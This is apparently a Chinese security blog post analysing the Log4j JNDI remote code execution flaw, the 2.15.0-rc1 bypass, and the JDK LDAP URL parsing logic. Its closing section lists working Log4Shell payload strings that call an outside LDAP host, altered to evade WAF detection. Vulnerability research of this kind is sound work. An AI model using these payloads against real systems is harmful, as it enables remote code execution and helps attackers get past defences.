如何跟踪log4j漏洞原理及发现绕WAF的tips

2021-12-22 IT野涵

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log4j漏洞的形成原因已经有很多分析文章了，这里说一说我是如何在了解到有漏洞后，跟进漏洞产生原理的，以及发现的一些绕WAF tips

跟进漏洞产生原因的思路

如何发现漏洞产生的原因的

了解到log4j <=2.14.1 存在RCE的情况，我马上跑到其官方github看了一下，发现commit记录中有两个关键commit

第一，log4j不再自动对消息中的lookup进行格式化，第一时间看到不是很懂
第二，限制JNDI默认支持，限制通过LDAP访问服务器和类

这两个点很容易联想到是不是跟JNDI攻击有关系，毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况，
https://github.com/Apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3 这个commit中，对
org.apache.logging.log4j.core.NET.JndiManager.JAVA进行了大量修改，特别是在lookup方法中，加了很多代码

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仔细看了一下，没有修改前，lookup方法直接通过this.context.lookup(name)执行JNDI操作，没有任何过滤或者限制，而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后，马上对log4j 2.14.1版本尝试验证一下，并在JndiManager#lookup方法中断点看到如下

很明显，name就是payload中给定的，仔细看一下调用栈就可以发现，log4j会对字符串中的${}自动解析，也就是前面提到的commit备注信息中写到的。

如何绕过2.15.0-rc1版本

看到rc1版本存在绕过的消息，又来看看官方github仓库的commit记录，里面有一条在更新到2.15.0-rc1版本后的commit记录，提交的信息是"handle URI exception"，即处理了URI出错的情况。修改代码的情况如下图

JndiManager#lookup方法处给catch语句中添加了两行代码，记录URI解析错误并返回null。而添加这两行代码前，此处只有一行注释，因此catch报错后会继续向下执行this.context.lookup，也就意味着前面try语句中的代码报错后，会继续执行JNDI操作，绕过也就来自于这里。

来看看try语句是怎么写的

代码比较长没有完全截进来，关键点是进入lookup方法后，立即将name变量送入URI类的构造函数中，此时只要URI的构造函数对name字符串解析出错，即可跳转到catch语句，进而向下执行到JNDI操作。

那么我们要关注的点就是让new URI(name)处报错，但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时，不需要关心uri长什么样，所以可以在uri上做文章。

跟踪源代码可以查看到URI对字符的支持情况

数字、字母大小写这些就不说了，其它可打印字符也不多，从上面的注释中可以看到URI对反引号`，空格，尖括号<>并不支持，基于这一点，可以做个简单的实验

空格和括号同样报错，就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况，并没有在catch语句中添加返回操作或报错，程序遇到报错后，会继续向下执行，从而造成危险。

由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包，所以自己写了个函数模拟一下绕过的场景

LDAP绕WAF的tips

URI解析

看完rc1版本的绕过后，又想了一下，防御工具可能会有针对性的做一些关键字检测，所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。

跟着this.context.lookup(name)处向下跟进到
com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法，代码如下

注意var0也就是输入是完整的"
ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法获取host和port，说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法

com.sun.jndi.toolkit.url.Uri#parse

private void parse(String var1) throws MalformedURLException {
    int var2 = var1.indexOf(58);
    if (var2 < 0) {
        throw new MalformedURLException("Invalid URI: " + var1);
    } else {
        this.scheme = var1.substring(0, var2);
        ++var2;
        this.hasAuthority = var1.startsWith("//", var2);
        int var3;
        if (this.hasAuthority) {
            var2 += 2;
            var3 = var1.indexOf(47, var2);
            if (var3 < 0) {
                var3 = var1.length();
            }

            int var4;
            if (var1.startsWith("[", var2)) {
                var4 = var1.indexOf(93, var2 + 1);
                if (var4 < 0 || var4 > var3) {
                    throw new MalformedURLException("Invalid URI: " + var1);
                }

                this.host = var1.substring(var2, var4 + 1);
                var2 = var4 + 1;
            } else {
                var4 = var1.indexOf(58, var2);
                int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3;
                if (var2 < var5) {
                    this.host = var1.substring(var2, var5);
                }

                var2 = var5;
            }

            if (var2 + 1 < var3 && var1.startsWith(":", var2)) {
                ++var2;
                this.port = Integer.parseInt(var1.substring(var2, var3));
            }

            var2 = var3;
        }

        var3 = var1.indexOf(63, var2);
        if (var3 < 0) {
            this.path = var1.substring(var2);
        } else {
            this.path = var1.substring(var2, var3);
            this.query = var1.substring(var3);
        }

    }
}

此时var1="
ldap://192.168.34.96:1389/a"

var2第一次赋值为(char)58也就是 : 在ldap中的索引，如果不存在 : 则直接报错
this.scheme赋值为第1个字符到 : 之间的字符串，也就是ldap、ldaps
var2第二次赋值自加1，而后检查冒号后是否存在//，如果不存在，则host和port都直接为null，进入path和query解析部分，也就是路径和参数
第一个冒号后存在//，则进入if语句，var2第三次赋值，再加2，也就是跳过了//继续向后判断
(char)47 也就是/，给var3=var1.indexOf("/", var2)，实际上为://后第一个/的索引，这是用来找到host和port的一个定位，但很有可能后面没有/(即var1="ldap://192.168.1.1:1389"，此时var3直接赋值为var1.length，也就是var1最大索引+1)
再往下走，会先判断://和var3直接有没有 [ 和 ] 符号对，且 ] 不能在var3后面否则会直接报错，这里有个意外情况就是ldap://[localhost:1389]/a这样写的话，会将localhost:1389当成host
如果没有出现[]符号对，则赋值var4为://后的第一个：的索引，然后判断var4>=0 且 var4<=var3，也就是冒号:必须存在且在var3的前面，条件达成则赋值为var5=var4，否则var5=var3，即从://和:之间获取host，或者从://和/之间获取host。此时出现骚操作"ldap://localhost/:"，则host=localhost，骚操作"ldap://localhost"，则host=null
继续往后走，如果正常在://和var3之间出现冒号，则可以截取出port，如果前面的骚操作"ldap://localhost/:"，则port为默认值-1，这个-1在后面大有可为：）

后面解析path和query的部分就不看了，回到
com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那个图片的位置，此时host和port都解析好了，正式开启发起ldap请求

LDAP发起

com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN，执行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl())，即此时LdapURL已经解析完成，host和port都有了，跟进LdapCtx的构造方法，代码如下

public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
    this.useSsl = this.hasLdapsScheme = var5;
    if (var4 != null) {
        this.envprops = (Hashtable)var4.clone();
        if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {
            this.useSsl = true;
        }

        this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");
        if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {
            this.netscapeSchemaBug = true;
        }
    }

    this.currentDN = var1 != null ? var1 : "";
    this.currentParsedDN = parser.parse(this.currentDN);
    this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
    if (this.hostname.charAt(0) == '[') {
        this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
    }

    if (var3 > 0) {
        this.port_number = var3;
    } else {
        this.port_number = this.useSsl ? 636 : 389;
        this.useDefaultPortNumber = true;
    }

    this.schemaTrees = new Hashtable(11, 0.75F);
    this.initEnv();

    try {
        this.connect(false);
    } catch (NamingException var9) {
        try {
            this.close();
        } catch (Exception var8) {
        }

        throw var9;
    }
}

这里主要关注hostname和port_number两个参数，即下面的代码块

this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
    this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}

if (var3 > 0) {
    this.port_number = var3;
} else {
    this.port_number = this.useSsl ? 636 : 389;
    this.useDefaultPortNumber = true;
}

其中var2=LdapURL中解析的host，var3=LdapURL中解析的port

注意到代码逻辑，如果var2为null，则直接使this.hostname="localhost"；
如果hostname的第一个字符为"["，则取出第二个字符至倒数第二个字符的子字符串，即从[ip]，去掉[]，获得ip
如果var3<=0，即LdapURL解析port失败，则在使用ldaps时，端口改为636，使用ldap时，端口强制改为389

这些逻辑是变换ldap字符串的关键

Bypass WAF tips

根据前面LdapURL和LdapCtx的解析逻辑，可以对log4j的payload做出如下变换

不出现port，避免被waf匹配ip:port

${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此时需要ldap服务端口为389

对IP添加包裹

前面两个类的解析逻辑中都有对中括号[]的处理，所以给ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a} 
LdapURL取出"[ip]"，LdapCtx去除[]获得ip，两种情况下端口都是389

不出现ip和端口(有点鸡肋)

${jndi:ldap:/a}
此时相当于ldap://localhost:389/a

这种情况主要是来自于LdapURL解析URL时出错，导致host=null，port=-1，而后LdapCtx中发现host=null，则将host置为localhost，毕竟这样做看起来是可信的

原理是，LdapURL解析时有个关键处理如下

this.hasAuthority = var1.startsWith("//", var2);   // var2=第一个冒号的索引
if (hasAuthority){
    解析获取host和port
}

此时不出现://这个整体，就可以直接跳出host和port的获取，而后在LdapCtx中对host=null时，赋值为localhost，对port=默认值-1时，赋值为389

这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务，但都可以在目标上执行命令了，还需要这样干吗？所以有点鸡肋，除非java程序的权限比可以执行命令的用户权限更高，从而拿到更高权限(不过提权姿势也很多啊)

不出现jndi:ldap关键字

通过upperCase、fastjson的unicode编码等方法可以避免该关键字，具体就不重复写，直接引用浅蓝师傅的博客了
https://b1ue.cn/archives/513.html ，

另外可以对log4j解析${}的部分深入了解一下，还能通过其自身特性，避免直接出现jndi:ldap关键字，但不是自己研究出来的就不公开了